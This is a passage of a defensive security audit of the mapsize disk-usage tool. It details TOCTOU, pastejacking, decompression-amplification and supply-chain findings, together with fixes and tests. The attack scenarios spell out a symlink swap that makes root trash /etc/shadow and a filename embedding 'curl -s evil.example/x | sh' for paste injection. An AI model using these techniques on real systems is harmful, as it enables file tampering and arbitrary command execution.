| MS-07 | Informational | High | Snapshot `follow` metadata displayed unsanitised | `internal/tui/infoview.go` | Fixed (`3264def`) |
|
||||
| MS-08 | Low | Medium | Scanner opens directories by path, so a symlink-swap race redirects the scan | `internal/platform/readdir_*.go`, `internal/scan/scan.go` | Open |
|
||||
| MS-09 | Low | Low | Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser | `internal/platform/ops_windows.go` | Open (needs verification) |
|
||||
| MS-10 | Low | High | Actions pinned to mutable tags; release artifacts unsigned | `.github/workflows/ci.yml`, `Makefile` | Open |
|
||||
| MS-11 | Informational | High | Trash identity check has residual gaps (Windows; same owner and type) | `internal/platform` | Open (accepted) |
|
||||
| MS-12 | Informational | High | Duplicate hashing and reveal re-resolve paths (intermediate symlinks) | `internal/duplicate`, `internal/platform/ops*.go` | Open |
|
||||
| MS-13 | Informational | High | Snapshots are integrity-checked but not authenticated, and contain host and user metadata | `internal/snapshot` | Open (accepted) |
|
||||
| MS-14 | Informational | High | JSON export is not terminal-sanitised (bidi) and is lossy for non-UTF-8 names | `internal/export/export.go` | Open |
|
||||
| MS-15 | Informational | Medium | Filter parser recursion is unbounded on deeply nested input | `internal/filter/parser.go` | Open |
|
||||
|
||||
## 7. Detailed Findings
|
||||
|
||||
### Finding ID: MS-01
|
||||
|
||||
#### Title
|
||||
Trash follows a parent directory swapped for a symlink after the scan (TOCTOU)
|
||||
|
||||
#### Severity
|
||||
Medium
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/platform/ops_linux.go` `Trash` (previously `os.Rename(path, dst)`), `internal/platform/ops_darwin.go` `Trash`, and `internal/tui/actions.go` `requestTrash`.
|
||||
|
||||
#### Description
|
||||
The path to trash is rebuilt from the inventory (`m.tree.Path(id)`) and renamed after the user confirms. Every path component is resolved again at rename time. Between the scan and the confirmation (a window of human think-time) the owner of any parent directory can replace it with a symlink. The rename then moves whatever has the same name under the symlink target.
|
||||
|
||||
#### Evidence
|
||||
Before the fix, `ops_linux.go` did this:
|
||||
```go
|
||||
if err := os.Rename(path, dst); err != nil { // path re-resolved, all components followed
|
||||
```
|
||||
There was no comparison with what the scan recorded. `checkAbs` only did `Lstat` on the final component.
|
||||
|
||||
#### Attack Scenario
|
||||
1. Eve owns `/home/eve/junk/`. She creates a large file named `shadow` in it.
|
||||
2. The root user runs `mapsize /home`, sees `/home/eve/junk/shadow` (20 GB), and presses `d`.
|
||||
3. Before root confirms, Eve runs `mv junk junk.old; ln -s /etc junk`. A symlink toggler makes the timing irrelevant.
|
||||
4. Root confirms, and `rename("/home/eve/junk/shadow", "/root/.local/share/Trash/files/shadow")` moves **`/etc/shadow`**. Logins break and the hash file now sits in root's trash.
|
||||
|
||||
The same works for any root-owned file with a guessable name.
|
||||
|
||||
#### Impact
|
||||
Integrity and availability of arbitrary files writable by the user running mapsize, which is the whole system for root. This is denial of service, and it can cause privilege problems such as a missing `/etc/sudoers.d/x` or a broken PAM configuration.
|
||||
|
||||
#### Recommendation
|
||||
Open the parent directory once. Check and rename relative to that descriptor, and verify that the item still matches the scan (owner and file type).
|
||||
|
||||
#### Safer Example
|
||||
This is what was implemented in `internal/platform/trash_unix.go`:
|
||||
```go
|
||||
dfd, _ := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||
unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW)
|
||||
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
|
||||
return errors.New("item changed since the scan (owner or type differs); rescan first")
|
||||
}
|
||||
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
|
||||
```
|
||||
`requestTrash` captures `platform.Expect{UID: n.UID, Mode: n.Mode}` from the scanned node. A swapped parent now resolves to `/etc`, `shadow` there is owned by uid 0 rather than eve, and the move is refused. Because the check and the rename use the same descriptor, a toggler cannot win the race between them.
|
||||
|
||||
#### Suggested Tests
|
||||
`TestTrashRefusesSwappedItem` (added) covers a symlink where a file was scanned, a type mismatch, an owner mismatch, no leftover `.trashinfo`, and the legitimate path still working.
|
||||
|
||||
#### References
|
||||
CWE-367 (TOCTOU), CWE-59 (link following), OWASP ASVS V12.3.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
See MS-11 for the residual gaps: Windows has no check, and a same-owner, same-type target is still possible. The trash destination path is still resolved by path, but it lives under the user's own home or under a private `.Trash-$uid` directory that has been checked.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-02
|
||||
|
||||
#### Title
|
||||
Copy-path puts control characters on the clipboard (paste injection)
|
||||
|
||||
#### Severity
|
||||
Medium
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/tui/keys.go` `copyPath` and `internal/tui/modals.go` (the `c` key in the info modal).
|
||||
|
||||
#### Description
|
||||
The raw path was sent with `tea.SetClipboard(p)` (OSC 52). Unix filenames may contain `\n` and other control bytes, and snapshot names may contain anything except `/` and NUL. The UI displays these names escaped, so the user cannot see that the clipboard holds an executable multi-line payload.
|
||||
|
||||
#### Evidence
|
||||
```go
|
||||
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
||||
```
|
||||
|
||||
#### Attack Scenario
|
||||
An attacker creates `/srv/share/report\ncurl -s evil.example/x | sh\n.pdf`. The administrator selects it, presses `c`, and pastes into a root shell. In a shell or terminal without bracketed paste (older bash, `sh`, many serial and SSH consoles) the embedded command runs. Bidi overrides can also disguise the visible text.
|
||||
|
||||
#### Impact
|
||||
Arbitrary command execution as the user who pastes. User interaction is required.
|
||||
|
||||
#### Recommendation
|
||||
Refuse to copy any path that `textutil.Sanitize` would change (control characters, C1, bidi, invalid UTF-8) and tell the user why.
|
||||
|
||||
#### Safer Example
|
||||
```go
|
||||
if textutil.Sanitize(p) != p {
|
||||
return m.warn("Not copied: path contains control or bidi characters")
|
||||
}
|
||||
```
|
||||
|
||||
#### Suggested Tests
|
||||
`TestCopyRefusesControlCharacters` (added) covers a newline payload, the existing ESC/OSC hostile name, and a CJK path that must still be copied.
|
||||
|
||||
#### References
|
||||
CWE-150 (improper neutralisation of escape sequences), CWE-77; also known as "pastejacking".
|
||||
|
||||
#### Assumptions / Limitations
|
||||
A copy of a legitimate but unusual name is now refused. The info modal still shows the escaped form.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-03
|
||||
|
||||
#### Title
|
||||
Snapshot node amplification exhausts memory
|
||||
|
||||
#### Severity
|
||||
Medium
|
||||
|
||||
#### Confidence
|
||||
High (measured)
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/snapshot/snapshot.go` `LoadFile`, `LoadLimit`, `bodyLimit`.
|
||||
|
||||
#### Description
|
||||
The decompressed body was capped at `max(64 MiB, 64 × file size)`, but the node count was capped only at `2^31−1`. A crafted body made of repeating blocks (one directory followed by K−1 files whose parent deltas run 1…K−1) compresses extremely well and stays within the depth limit. Each node costs about 120 bytes of heap.
|
||||
|
||||
#### Evidence
|
||||
A local measurement before the fix: a **804 KB** file decoded to a 59 MB body, **4,200,001 nodes**, and **497 MB `HeapInuse`**. Because the body limit grows 64× with file size, a ~20 MB crafted file could demand about 10 GB. ARCHITECTURE.md claimed "decompression bombs fail fast", which held for the body but not for allocated memory.
|
||||
|
||||
#### Attack Scenario
|
||||
A colleague sends `server.msz`. Opening it with `mapsize server.msz` or `--compare` triggers the OOM killer, or swap pressure on a shared host.
|
||||
|
||||
#### Impact
|
||||
Local denial of service. User interaction is required.
|
||||
|
||||
#### Recommendation and Safer Example
|
||||
Bound the node count by the compressed size. Real snapshots use about 15 bytes per node (PERFORMANCE.md), so one node per byte leaves at least 15× headroom:
|
||||
```go
|
||||
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
|
||||
```
|
||||
`LoadFile` now passes `nodeLimit(fi.Size())`. The node-count error is now reported before the "no root node" check, which previously masked limit errors.
|
||||
|
||||
#### Suggested Tests
|
||||
`TestNodeAmplificationLimited` (added): 1.2 M nodes in a 137 KB file are refused with a "node count" error, and the same data still loads through the unbounded `Load` path, which proves the input is otherwise valid.
|
||||
|
||||
#### References
|
||||
CWE-400, CWE-409 (highly compressed data), CWE-770.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
The 1 Mi-node floor still lets a tiny file allocate about 120 MB, which is acceptable. `Load`/`LoadLimit` on an `io.Reader` keep `MaxNodes`, because no file size is known there; production code uses only `LoadFile`.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-04
|
||||
|
||||
#### Title
|
||||
Duplicate finder blocks forever on a file swapped for a FIFO
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
High (reproduced)
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/duplicate/duplicate.go` `open`; new `internal/platform/open_unix.go`.
|
||||
|
||||
#### Description
|
||||
Candidates were reopened by path with `os.Open`. Opening a FIFO for reading blocks until a writer appears. The `fi.Mode().IsRegular()` check ran after the open, too late. Context cancellation (Esc, Ctrl+C) cannot interrupt a blocked `open(2)`, so the duplicate view stayed on "hashing" forever and `--duplicates` never exited, which matters for cron jobs.
|
||||
|
||||
#### Evidence and Reproduction
|
||||
`TestFindSkipsSwappedFIFO`: scan `a`, `b` and `c` (identical content), replace `b` with `mkfifo b` and `c` with a symlink to a FIFO, then run `Find`. It timed out after 5 s before the fix and finishes immediately afterwards with `Skipped == 2`.
|
||||
|
||||
#### Impact
|
||||
Availability of the duplicate feature, and a hang of the non-interactive mode. Any user who can write in the scanned tree can trigger it.
|
||||
|
||||
#### Recommendation and Safer Example
|
||||
```go
|
||||
os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
|
||||
```
|
||||
`O_NONBLOCK` makes the FIFO open return at once, and the existing regular-file check then skips it. `O_NOFOLLOW` refuses a final symlink. Regular-file reads are unaffected.
|
||||
|
||||
#### Suggested Tests
|
||||
Added as above. Consider a cancellation test for a slow reader as well.
|
||||
|
||||
#### References
|
||||
CWE-367, CWE-833 (deadlock), CWE-400.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
Intermediate path components can still be swapped (MS-12). On Windows, `os.Open` remains unchanged.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-05
|
||||
|
||||
#### Title
|
||||
macOS volume trash directory not checked for symlinks or ownership
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
Medium (reasoned, not run on macOS)
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/platform/ops_darwin.go` `Trash`.
|
||||
|
||||
#### Description
|
||||
`os.MkdirAll("/Volumes/X/.Trashes/<uid>", 0700)` silently accepts an existing directory or a symlink to one that another user planted on a shared or ignore-ownership volume. Files would then be moved into a location the attacker controls. The Linux code already defended against this with `ensurePrivateDir`.
|
||||
|
||||
#### Attack Scenario
|
||||
On a shared external volume, Mallory creates `.Trashes/501 -> /Volumes/X/mallory-readable/`. User 501 trashes `payroll.xlsx`, and Mallory can now read it.
|
||||
|
||||
#### Impact
|
||||
Disclosure of trashed files.
|
||||
|
||||
#### Recommendation and Safer Example
|
||||
`ensurePrivateDir` was moved to a shared `trash_unix.go` (linux or darwin). Darwin now calls it with `strict=true` for volume trashes, which requires a real directory owned by the user with no group or other access.
|
||||
|
||||
#### Suggested Tests
|
||||
`TestEnsurePrivateDirRejectsSymlink` already covers the helper. A macOS CI job running the platform tests is recommended.
|
||||
|
||||
#### References
|
||||
CWE-59, CWE-276.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
`.Trashes` itself is not checked. The final directory being 0700 and owned by the user limits exposure, but the parent's owner could still rename it.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-06
|
||||
|
||||
#### Title
|
||||
CI workflow runs with the default `GITHUB_TOKEN` permissions
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`.github/workflows/ci.yml`
|
||||
|
||||
#### Description
|
||||
There was no `permissions:` block, so jobs received the repository or organisation default token scope, which is write access on older repositories. The workflow runs third-party actions and `go test` (which executes arbitrary test code and dependencies). A compromised action or dependency could therefore push to the repository.
|
||||
|
||||
#### Recommendation
|
||||
`permissions: contents: read` was added at the workflow level.
|
||||
|
||||
#### References
|
||||
CWE-250, OpenSSF Scorecard "Token-Permissions".
|
||||
|
||||
#### Assumptions / Limitations
|
||||
Whether the repository default is read-only could not be checked from here.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-07
|
||||
|
||||
#### Title
|
||||
Snapshot `follow` metadata displayed unsanitised
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/tui/infoview.go` (`line("Follow symlinks", st.Follow, …)`)
|
||||
|
||||
#### Description
|
||||
Every other snapshot metadata string (root, excludes, the `FromSnapshot` string) goes through `textutil.Sanitize`. `Follow` did not. The canvas's own control-character filter, together with zero-width clusters being dropped, meant this was **not exploitable**: hostile bytes were replaced with `?`. It is fixed for consistency with the documented invariant.
|
||||
|
||||
#### Recommendation
|
||||
Use `textutil.Sanitize(st.Follow)` (done).
|
||||
|
||||
#### References
|
||||
CWE-150.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-08
|
||||
|
||||
#### Title
|
||||
Scanner opens directories by path, so a symlink-swap race redirects the scan
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
Medium
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/platform/readdir_linux.go`, `readdir_bsd.go` (`unix.Open(path, O_RDONLY|O_DIRECTORY)`), and `internal/scan/scan.go` `makeJob`/`worker`.
|
||||
|
||||
#### Description
|
||||
Entries are `lstat`'d relative to the directory fd, but each pending directory is later opened by its full path. A directory that was a real directory at `lstat` time can be swapped for a symlink before the worker opens it, and the scan then descends into the target. With `--follow-symlinks=none` the visited set is disabled, so a fast toggler can make the scan revisit or inflate subtrees until `PATH_MAX`.
|
||||
|
||||
#### Attack Scenario
|
||||
Eve toggles `/home/eve/a` between a directory and a symlink to `/`. Root's scan of `/home` then includes parts of `/`, so totals are wrong. With repeated wins it can grow memory and time, bounded by path length.
|
||||
|
||||
#### Impact
|
||||
Inaccurate inventory, wasted time and memory. Nothing is read beyond metadata and nothing is written. However, the inventory could then offer root's files to trash under Eve's path; MS-01's owner check now blocks that.
|
||||
|
||||
#### Recommendation
|
||||
Pass a "followed" bit with each job and open non-followed directories with `O_NOFOLLOW`. For a full fix, keep a parent fd per job and use `openat(parentfd, name, O_NOFOLLOW|O_DIRECTORY)`, or `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+. Also compare `fstat(dirfd)` with the scanned (dev, ino).
|
||||
|
||||
#### Safer Example
|
||||
```go
|
||||
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC|unix.O_NOFOLLOW, 0)
|
||||
// then: unix.Fstat(fd,&st); if st.Dev!=want.Dev||st.Ino!=want.Ino { return errChanged }
|
||||
```
|
||||
|
||||
#### Suggested Tests
|
||||
A test with a toggling goroutine that asserts no node outside the root's device and inode set appears.
|
||||
|
||||
#### References
|
||||
CWE-367, CWE-59.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
This was left open because a partial `O_NOFOLLOW` on the final component only does not stop swaps of intermediate components. The real fix is the fd-relative redesign, which is larger than an audit fix should be.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-09
|
||||
|
||||
#### Title
|
||||
Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
Low
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/platform/ops_windows.go` `Reveal` (`startDetached("explorer.exe", "/select,", path)`).
|
||||
|
||||
#### Description
|
||||
`explorer.exe` parses its own command line and treats commas as switch separators. Go quotes arguments using MSVCRT rules, which Explorer may not honour. A filename containing `,` (legal on Windows) might be split into additional Explorer switches or paths. If Explorer is given a path to an executable, it launches it.
|
||||
|
||||
#### Attack Scenario (unverified)
|
||||
A file named `x,C:\Users\Public\evil.exe` must exist for `checkAbs` to pass. Revealing it might make Explorer open or run `evil.exe`.
|
||||
|
||||
#### Recommendation
|
||||
Verify on Windows. If the behaviour is confirmed, refuse paths containing `,` or `"`, or use `SHOpenFolderAndSelectItems` through COM, which takes a PIDL and does no parsing.
|
||||
|
||||
#### Suggested Tests
|
||||
A manual Windows test with comma-bearing names.
|
||||
|
||||
#### References
|
||||
CWE-88 (argument injection).
|
||||
|
||||
#### Assumptions / Limitations
|
||||
This could not be tested here, so it was not changed.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-10
|
||||
|
||||
#### Title
|
||||
Actions pinned to mutable tags; release artifacts unsigned
|
||||
|
||||
#### Severity
|
||||
Low
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`.github/workflows/ci.yml` (`actions/checkout@v4`, `actions/setup-go@v5`) and the `Makefile` `release`/`brew-formula` targets.
|
||||
|
||||
#### Description
|
||||
Tags can be moved by a compromised upstream. `make release` writes an unsigned `SHA256SUMS`. `brew-formula` trusts the first `curl` of GitHub's tarball, a trust-on-first-use approach. `nfpm` is fetched through `go run …@v2.41.1`, which is pinned and verified by the Go checksum database. That is good.
|
||||
|
||||
#### Recommendation
|
||||
- Pin actions by commit SHA, with Dependabot keeping them current.
|
||||
- Sign releases with Sigstore `cosign sign-blob` or minisign, and/or publish SLSA provenance through GitHub's attest-build-provenance.
|
||||
- Build releases in CI rather than on a workstation.
|
||||
|
||||
#### References
|
||||
SLSA L2/L3, OpenSSF Scorecard "Pinned-Dependencies" and "Signed-Releases".
|
||||
|
||||
#### Assumptions / Limitations
|
||||
The commit SHAs could not be verified offline, so the workflow was not changed here.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-11
|
||||
|
||||
#### Title
|
||||
Trash identity check has residual gaps
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/platform/ops_windows.go` and `trash_unix.go`.
|
||||
|
||||
#### Description
|
||||
- On Windows, `Expect` is ignored: the scan records no owner or inode, and `SHFileOperationW` works by path.
|
||||
- On Unix, the check compares owner and file type, not inode, because `inventory.Node` does not store (dev, ino). A swapped parent that leads to a same-named item with the same owner and type is still accepted. Exploiting this needs a target owned by the attacker or by the item's original owner, so there is no cross-user gain, except where root-owned items sit in attacker-writable directories.
|
||||
|
||||
#### Recommendation
|
||||
Store `Ino`/`Dev` for files that are candidates for trashing, or re-`Lstat` before confirmation and keep the parent fd open across the dialog. On Windows, use `IFileOperation` with a handle opened with `FILE_FLAG_OPEN_REPARSE_POINT` and check the file ID.
|
||||
|
||||
#### References
|
||||
CWE-367.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-12
|
||||
|
||||
#### Title
|
||||
Duplicate hashing and reveal re-resolve paths through intermediate symlinks
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/duplicate/duplicate.go` (`open`) and `internal/platform/ops_*.go` (`Reveal`).
|
||||
|
||||
#### Description
|
||||
After MS-04, the final component is not followed, but intermediate components are. An attacker can make the duplicate finder hash a different same-size file. The result is a false "identical" report about files the user could already read. Hash prefixes are only shown locally, so there is no disclosure to the attacker. Reveal can open a file manager at a different directory.
|
||||
|
||||
#### Recommendation
|
||||
Use the same fd-relative traversal as MS-08 if that is implemented. Until then, the trash owner check (MS-01) prevents acting destructively on such a report.
|
||||
|
||||
#### References
|
||||
CWE-59.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-13
|
||||
|
||||
#### Title
|
||||
Snapshots are integrity-checked but not authenticated, and contain host and user metadata
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/snapshot/snapshot.go`
|
||||
|
||||
#### Description
|
||||
The SHA-256 trailer is unkeyed. It detects corruption, not forgery: anyone can craft a valid file, which is how the hostile tests work. Snapshots contain full paths, uid and gid, mtimes, and the hostname. The files are created 0600 (`os.CreateTemp`) and renamed atomically, which is good.
|
||||
|
||||
#### Recommendation
|
||||
Document that snapshots are sensitive, and that their contents are only as trustworthy as their source. If provenance ever matters, add an optional Ed25519 signature; for long-lived archives, consider ML-DSA or a hybrid. Not otherwise needed.
|
||||
|
||||
#### References
|
||||
CWE-345, CWE-359.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-14
|
||||
|
||||
#### Title
|
||||
JSON export is not terminal-sanitised and is lossy for non-UTF-8 names
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
High
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/export/export.go` `JSON`/`writeNode`.
|
||||
|
||||
#### Description
|
||||
`encoding/json` escapes C0 characters and replaces invalid UTF-8 with U+FFFD. Raw ESC therefore cannot reach the terminal (verified), but bidi overrides pass through when `--json` is printed to a terminal. Separately, names that are not valid UTF-8 are irreversibly altered, so consumers cannot map entries back to real files.
|
||||
|
||||
#### Recommendation
|
||||
Add a `name_b64` or `name_escaped` field for non-UTF-8 names. Bidi characters in JSON are acceptable for machine consumers.
|
||||
|
||||
#### References
|
||||
CWE-116.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
---
|
||||
|
||||
### Finding ID: MS-15
|
||||
|
||||
#### Title
|
||||
Filter parser recursion is unbounded on deeply nested input
|
||||
|
||||
#### Severity
|
||||
Informational
|
||||
|
||||
#### Confidence
|
||||
Medium
|
||||
|
||||
#### Affected Files / Components
|
||||
`internal/filter/parser.go` (`unary` → `or` recursion on `(` and `NOT`).
|
||||
|
||||
#### Description
|
||||
The query is typed by the local user, so this is self-inflicted at most. Pasting about a million `(` characters could approach Go's 1 GB stack limit and crash the process (terminal restoration is not guaranteed on a fatal stack overflow). `FuzzParse` exists.
|
||||
|
||||
#### Recommendation
|
||||
Reject queries longer than about 4 KiB or nested more than about 256 levels.
|
||||
|
||||
#### References
|
||||
CWE-674.
|
||||
|
||||
#### Assumptions / Limitations
|
||||
None.
|
||||
|
||||
## 8. Blackhat-Style Abuse Paths
|
||||
|
||||
1. **Delete a system file through an administrator's cleanup (MS-01, now fixed).**
|
||||
- Prerequisite: an attacker-owned directory inside the scanned tree, and root trashing an item in it.
|
||||
- Chain: plant a large file named like the target, then swap the parent directory for a symlink to `/etc`; root presses `d` and moves `/etc/<name>`.
|
||||
- Breakpoint: the parent fd is pinned and the owner and type are checked. The remaining gap is a same-owner target (MS-11).
|
||||
2. **Shell command execution by paste (MS-02, now fixed).**
|
||||
- Prerequisite: the victim copies a path, from a live scan or from a shared snapshot, and pastes it into a shell without bracketed paste.
|
||||
- Breakpoint: paths containing control or bidi characters are refused for copying.
|
||||
3. **"Look at my snapshot" denial of service (MS-03, now fixed).** A tiny crafted `.msz` file caused an OOM; it is now bounded by the node limit.
|
||||
4. **Wedge the nightly duplicate report (MS-04, now fixed).** `mkfifo` replaces a file that appeared in the scan, and `--duplicates` hung forever.
|
||||
5. **Scan poisoning (MS-08, open).** Toggling symlinks inflates or falsifies inventory totals. The impact is limited to accuracy, because destructive actions are now identity-checked.
|
||||
6. **Supply chain (MS-10, open).** A moved action tag or a compromised CI runner could produce tampered release archives with matching unsigned checksums. The breakpoints are SHA pinning and signed provenance.
|
||||
|
||||
## 9. Denial-of-Service and Resource Exhaustion Review
|
||||
|
||||
**Snapshot loading:**
|
||||
- The body is limited to `max(64 MiB, 64×file)` and fails during streaming.
|
||||
- The node count is now ≤ max(1 Mi, file bytes).
|
||||
- Depth is ≤ 4096, which bounds recursion in the exporters.
|
||||
- Names are ≤ 64 KiB, extensions ≤ 64 bytes, error messages ≤ 4 KiB, metadata JSON ≤ 16 MiB, and error records ≤ `MaxErrorRecords`.
|
||||
- Sizes are ≤ 1 EiB, and aggregates are recomputed with saturating arithmetic.
|
||||
- `gzip.Multistream(false)`; the decompression goroutine is unblocked by `pr.Close()` on early exit, so it does not leak.
|
||||
|
||||
**Scanner:**
|
||||
- The worker pool is bounded (1–1024).
|
||||
- The job and result channels are bounded, and the controller's select loop cannot deadlock (stress-tested with capacity 1).
|
||||
- Directory reads are streamed in 1024-entry chunks.
|
||||
- The write lock is held for at most 8192 entries at a time.
|
||||
- The pending FIFO uses O(directories) × 8 bytes.
|
||||
- The hard-link and visited maps grow with the number of inodes, which is inherent.
|
||||
- Virtual filesystems (procfs and similar) are skipped, so `/proc/kcore` does not dominate a scan of `/`.
|
||||
- The MS-08 race is the only input-driven amplification found.
|
||||
|
||||
**Duplicate finder:** a bounded worker pool (4), a 16 KiB sample buffer per worker, streaming SHA-256, and context checks between files and groups. The blocking FIFO open is fixed (MS-04). A reader blocked inside `read(2)` on a hung network filesystem still cannot be cancelled, which is inherent to file I/O.
|
||||
|
||||
**Filter:** RE2 runs in linear time, so there is no ReDoS. `filepath.Match` is polynomial. `Apply` checks `ctx` every 65,536 nodes. Unbounded nesting is covered by MS-15.
|
||||
|
||||
**TUI:** renders at most once per frame from a cache; resize storms cost one layout per frame; the 10 Hz tick runs only while needed.
|
||||
|
||||
**Exporters:** stream output, with recursion bounded by depth (4096 for snapshots, and the real filesystem depth for live scans).
|
||||
|
||||
## 10. Cryptography and Key Management Review
|
||||
|
||||
- **Algorithms in use:** SHA-256 for the snapshot integrity trailer and for duplicate content identity. Both are appropriate.
|
||||
- Duplicate identity requires a full-file SHA-256 match after the size and sample stages. Size and sampling are never treated as identity.
|
||||
- **No encryption, signatures, MACs, tokens, passwords, TLS or randomness for security purposes.** `math/rand` appears only in `cmd/treegen`, a deterministic generator of synthetic test trees, which is a correct use.
|
||||
- **Weak algorithms:** none present (no MD5, SHA-1, DES, RC4 or ECB).
|
||||
- **Constant-time comparison:** `bytes.Equal` on the snapshot checksum is fine, because the value is not secret.
|
||||
- **TLS:** the only network access is `curl -fsSL` in `make brew-formula`, which uses verified HTTPS by default; no flag disables verification.
|
||||
- **Key management:** there are no keys.
|
||||
- **Post-quantum:** there is no confidentiality-bearing cryptography, so there is no harvest-now-decrypt-later exposure. SHA-256's roughly 128-bit collision resistance against quantum attack is adequate. If signed snapshots or releases are added, use Ed25519 now and consider ML-DSA or a hybrid for long-lived artifacts (MS-10, MS-13).
|
||||
|
||||
## 11. Secrets Lifecycle and In-Memory Credential Review
|
||||
|
||||
- **At rest:** a search of source, tests, config and history found no secrets, keys, tokens or credentials. `.gitignore` excludes `bin/`, `*.msz`, `*.prof` and `*.test`.
|
||||
- **Configuration:** `config.json` holds only display and scan preferences. No environment variables carry secrets; the variables read are `XDG_*`, `NO_COLOR`, `COLORTERM`, `MAPSIZE_ASCII` and `MAPSIZE_DEBUG_PANIC`.
|
||||
- **In transit:** there is no network traffic, except the curl call in the Makefile, which uses a public URL.
|
||||
- **In memory:** the application holds no credentials, so zeroisation, mlock and core-dump controls are not applicable.
|
||||
- The process does hold full path listings of the scanned tree. When running as root, a core dump could expose directory structure the dumping user cannot otherwise see. This is low risk, inherent, and no worse than `du`.
|
||||
- **Diagnostic exposure:**
|
||||
- `--cpuprofile` and `--memprofile` write pprof files to paths the user specifies. They are created through `os.Create`, so with mode 0666 minus umask. Heap profiles contain path strings.
|
||||
- There is no network pprof or debug listener.
|
||||
- `MAPSIZE_DEBUG_PANIC` only causes a deliberate panic to test terminal restoration.
|
||||
- **Logs:** `--log` is opened 0600 in append mode. slog's text handler quotes values that contain control characters, so log injection is neutralised. Logged content is limited to paths and errors.
|
||||
- **Clipboard:** OSC 52 sends paths to the terminal emulator, and over SSH to the local machine's clipboard. That is intended; MS-02 hardened it.
|
||||
|
||||
## 12. Memory and Resource Safety Review
|
||||
|
||||
- **Native and FFI:** there is no cgo; builds use `CGO_ENABLED=0`. The only `unsafe` use is in `ops_windows.go`:
|
||||
- `shFileOpStruct` mirrors `SHFILEOPSTRUCTW` for 64-bit and is guarded by a `unsafe.Sizeof(uintptr(0)) != 8` check.
|
||||
- `pFrom` is a double-NUL-terminated UTF-16 slice that stays alive through the call, because `u` is referenced by `op` on the stack.
|
||||
- `syscall.UTF16FromString` rejects embedded NULs.
|
||||
- The struct layout matches Win64 natural alignment.
|
||||
- This is sound, with low residual risk on ARM64 Windows, which uses the same LLP64 layout.
|
||||
- **Syscalls through x/sys:** `Statx`, `Fstatat`, `Renameat` and `Open` take Go-managed buffers, so there is no manual memory management.
|
||||
- **Untrusted parsers:** the snapshot decoder validates every length against a maximum before `make([]byte, n)`. One subtlety remains: `bytesN` allocates `n` bytes before reading. With `MaxMetaLen` at 16 MiB and `MaxNameLen` at 64 KiB this is bounded per call, and on truncation the allocation is freed. Varint overflow is handled, and parent references are validated so that cycles are impossible.
|
||||
- **Integer overflow:** sizes are capped at 2^60 so that sums cannot wrap. `Recompute` saturates. `uint32` counts could wrap above 4 billion files, which is unrealistic.
|
||||
- **Unbounded growth:** covered in §9. The UI caches are bounded by data version and screen size.
|
||||
|
||||
